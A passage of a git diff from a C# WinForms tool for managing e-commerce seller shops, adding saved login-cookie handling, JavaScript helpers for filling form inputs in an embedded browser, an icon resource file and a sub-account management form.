btnDel_Click(object sender, EventArgs e) + { + if (shop != null) + { + shop.DictMultiCookies.Remove(cmbMultiCookieName.Text); + StartUp.SaveDouShopLoginInfo(); + + InitMultiLoginCookies(); + } + } + + private void InitMultiLoginCookies() + { + this.cmbMultiCookieName.Items.Clear(); + foreach (var cookieKey in shop.DictMultiCookies.Keys) + { + this.cmbMultiCookieName.Items.Add(cookieKey); + } + int i = 1; + foreach (var item in this.cmbMultiCookieName.Items) + { + if (i <= item.ToString().Replace("cookie", "").ParseToInt()) + { + i = item.ToString().Replace("cookie", "").ParseToInt() + 1; + } + } + this.cmbMultiCookieName.Items.Insert(0, "cookie" + i); + this.cmbMultiCookieName.Text = "cookie" + i; + } + + + string sInputValueChange = @" +let usernameId = document.getElementById('usernameId'); +usernameId.value = '1'; + +var event = document.createEvent('HTMLEvents'); +event.initEvent('input', true, true); +event.eventType = 'message'; +usernameId.dispatchEvent(event); +"; + + string sInputValueChange2 = @" +function changeReactInputValue(inputDom,newText){ + let lastValue = inputDom.value; + inputDom.value = newText; + let event = new Event('input', { bubbles: true }); + event.simulated = true; + let tracker = inputDom._valueTracker; + if (tracker) { + tracker.setValue(lastValue); + } + inputDom.dispatchEvent(event); +} +"; + + string sGetElementWithText = @" +function getElementWithText(sText) +{ + var elem=null; + const elements = document.querySelectorAll('*'); // 选择所有元素 + elements.forEach(element => { + if (element.textContent.includes(sText)) { + // 对每个匹配的元素执行操作 + //console.log(element); + elem=element; + } + }); + return elem; +}; +"; + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/ShopLoginForm.resx b/TEMUKJD/KJDForms/ShopForms/ShopLoginForm.resx new file mode 100644 index 0000000..35a31a1 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopLoginForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQYAAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/SubAccountListForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/SubAccountListForm.Designer.cs new file mode 100644 index 0000000..b84c9a6 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/SubAccountListForm.Designer.cs @@ -0,0 +1,474 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class SubAccountListForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer5 = new System.Windows.Forms.SplitContainer(); + this.label1 = new System.Windows.Forms.Label(); + this.label30 = new System.Windows.Forms.Label(); + this.label31 = new System.Windows.Forms.Label(); + this.repasstextBox = new System.Windows.Forms.TextBox(); + this.label32 = new System.Windows.Forms.Label(); + this.label33 = new System.Windows.Forms.Label(); + this.label34 = new System.Windows.Forms.Label(); + this.label35 = new System.Windows.Forms.Label(); + this.label36 = new System.Windows.Forms.Label(); + this.groupIdcomboBox = new System.Windows.Forms.ComboBox(); + this.label37 = new System.Windows.Forms.Label(); + this.passwordtextBox = new System.Windows.Forms.TextBox(); + this.label38 = new System.Windows.Forms.Label(); + this.mobiletextBox = new System.Windows.Forms.TextBox(); + this.label39 = new System.Windows.Forms.Label(); + this.nametextBox = new System.Windows.Forms.TextBox(); + this.label40 = new System.Windows.Forms.Label(); + this.btnRefresh = new LittleRabbit.UserControls.ButtonEx(); + this.btnCancel = new LittleRabbit.UserControls.ButtonEx(); + this.btnOpUser = new LittleRabbit.UserControls.ButtonEx(); + this.dgvUser = new LittleRabbit.UserComponent.DataGridViewEx(); + this.UserIdColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.UserNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.mobileColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.groupIdColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.groupNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.shopCountColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.editColumn = new System.Windows.Forms.DataGridViewLinkColumn(); + this.deleteColumn = new System.Windows.Forms.DataGridViewLinkColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer5)).BeginInit(); + this.splitContainer5.Panel1.SuspendLayout(); + this.splitContainer5.Panel2.SuspendLayout(); + this.splitContainer5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvUser)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer5 + // + this.splitContainer5.BackColor = System.Drawing.Color.Transparent; + this.splitContainer5.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer5.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer5.Location = new System.Drawing.Point(0, 0); + this.splitContainer5.Name = "splitContainer5"; + // + // splitContainer5.Panel1 + // + this.splitContainer5.Panel1.Controls.Add(this.label1); + this.splitContainer5.Panel1.Controls.Add(this.btnRefresh); + this.splitContainer5.Panel1.Controls.Add(this.btnCancel); + this.splitContainer5.Panel1.Controls.Add(this.btnOpUser); + this.splitContainer5.Panel1.Controls.Add(this.label30); + this.splitContainer5.Panel1.Controls.Add(this.label31); + this.splitContainer5.Panel1.Controls.Add(this.repasstextBox); + this.splitContainer5.Panel1.Controls.Add(this.label32); + this.splitContainer5.Panel1.Controls.Add(this.label33); + this.splitContainer5.Panel1.Controls.Add(this.label34); + this.splitContainer5.Panel1.Controls.Add(this.label35); + this.splitContainer5.Panel1.Controls.Add(this.label36); + this.splitContainer5.Panel1.Controls.Add(this.groupIdcomboBox); + this.splitContainer5.Panel1.Controls.Add(this.label37); + this.splitContainer5.Panel1.Controls.Add(this.passwordtextBox); + this.splitContainer5.Panel1.Controls.Add(this.label38); + this.splitContainer5.Panel1.Controls.Add(this.mobiletextBox); + this.splitContainer5.Panel1.Controls.Add(this.label39); + this.splitContainer5.Panel1.Controls.Add(this.nametextBox); + this.splitContainer5.Panel1.Controls.Add(this.label40); + // + // splitContainer5.Panel2 + // + this.splitContainer5.Panel2.Controls.Add(this.dgvUser); + this.splitContainer5.Panel2.Padding = new System.Windows.Forms.Padding(0, 5, 5, 5); + this.splitContainer5.Size = new System.Drawing.Size(933, 445); + this.splitContainer5.SplitterDistance = 357; + this.splitContainer5.SplitterWidth = 1; + this.splitContainer5.TabIndex = 2; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.SystemColors.ButtonShadow; + this.label1.Location = new System.Drawing.Point(56, 378); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(212, 17); + this.label1.TabIndex = 37; + this.label1.Text = "编辑时,密码为空表示不更改原密码。"; + // + // label30 + // + this.label30.AutoSize = true; + this.label30.ForeColor = System.Drawing.SystemColors.ButtonShadow; + this.label30.Location = new System.Drawing.Point(282, 145); + this.label30.Name = "label30"; + this.label30.Size = new System.Drawing.Size(56, 17); + this.label30.TabIndex = 33; + this.label30.Text = "登录使用"; + // + // label31 + // + this.label31.AutoSize = true; + this.label31.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), 